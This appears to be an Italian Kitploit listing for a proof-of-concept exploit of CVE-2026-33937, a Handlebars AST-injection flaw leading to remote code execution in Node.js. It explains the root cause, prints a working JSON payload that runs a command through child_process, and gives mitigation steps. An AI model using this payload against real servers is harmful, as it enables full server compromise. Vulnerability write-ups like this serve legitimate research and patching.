Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-33937 — Proof-of-concept exploit per CVE-2026-33937, una vulnerabilità di iniezione AST in Handlebars che porta all'esecuzione remota di codice in Node.js. Dimostra payload AST appositamente costruiti e fornisce indicazioni di mitigazione. | Kitploit
Strumenti/GitHubGitHub/dinhvaren/cve-2026-33937
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

Proof-of-concept exploit per CVE-2026-33937, una vulnerabilità di iniezione AST in Handlebars che porta all'esecuzione remota di codice in Node.js. Dimostra payload AST appositamente costruiti e fornisce indicazioni di mitigazione.

Vedi Repository
44 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33937 - Exploit PoC per RCE in Handlebars

Descrizione

CVE-2026-33937 è una vulnerabilità critica di Remote Code Execution (RCE) in Handlebars causata dalla gestione non sicura dell'input dell'Abstract Syntax Tree (AST).

La vulnerabilità consente agli attaccanti di iniettare codice JavaScript arbitrario fornendo un oggetto AST appositamente costruito a Handlebars.compile().

Causa principale

Handlebars.compile() accetta entrambi:

  • Stringa di template
  • Oggetto AST pre-analizzato

Quando viene fornito un oggetto AST, la fase di parsing viene saltata.

All'interno:

root@kitploit:~

lib/handlebars/compiler/javascript-compiler.js

La funzione:

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

inserisce direttamente number.value nel codice JavaScript generato , portando a un'iniezione di codice.

senza sanitizzazione o escaping

Impatto

  • Remote Code Execution (RCE)
  • Compromissione completa del server
  • Esecuzione di JavaScript arbitrario nell'ambiente Node.js

Flusso dell'exploit

root@kitploit:~
Attaccante → AST costruito (JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler (iniezione NumberLiteral)
        │
        ▼
Generazione del codice
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

Proof of Concept (PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

Versioni interessate

  • Handlebars <= 4.7.8

Mitigazione

  • Non consentire input AST non attendibili
  • Validare e sanitizzare tutti gli input dei template
  • Aggiornare alla versione corretta di Handlebars

Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
Scarica lo strumento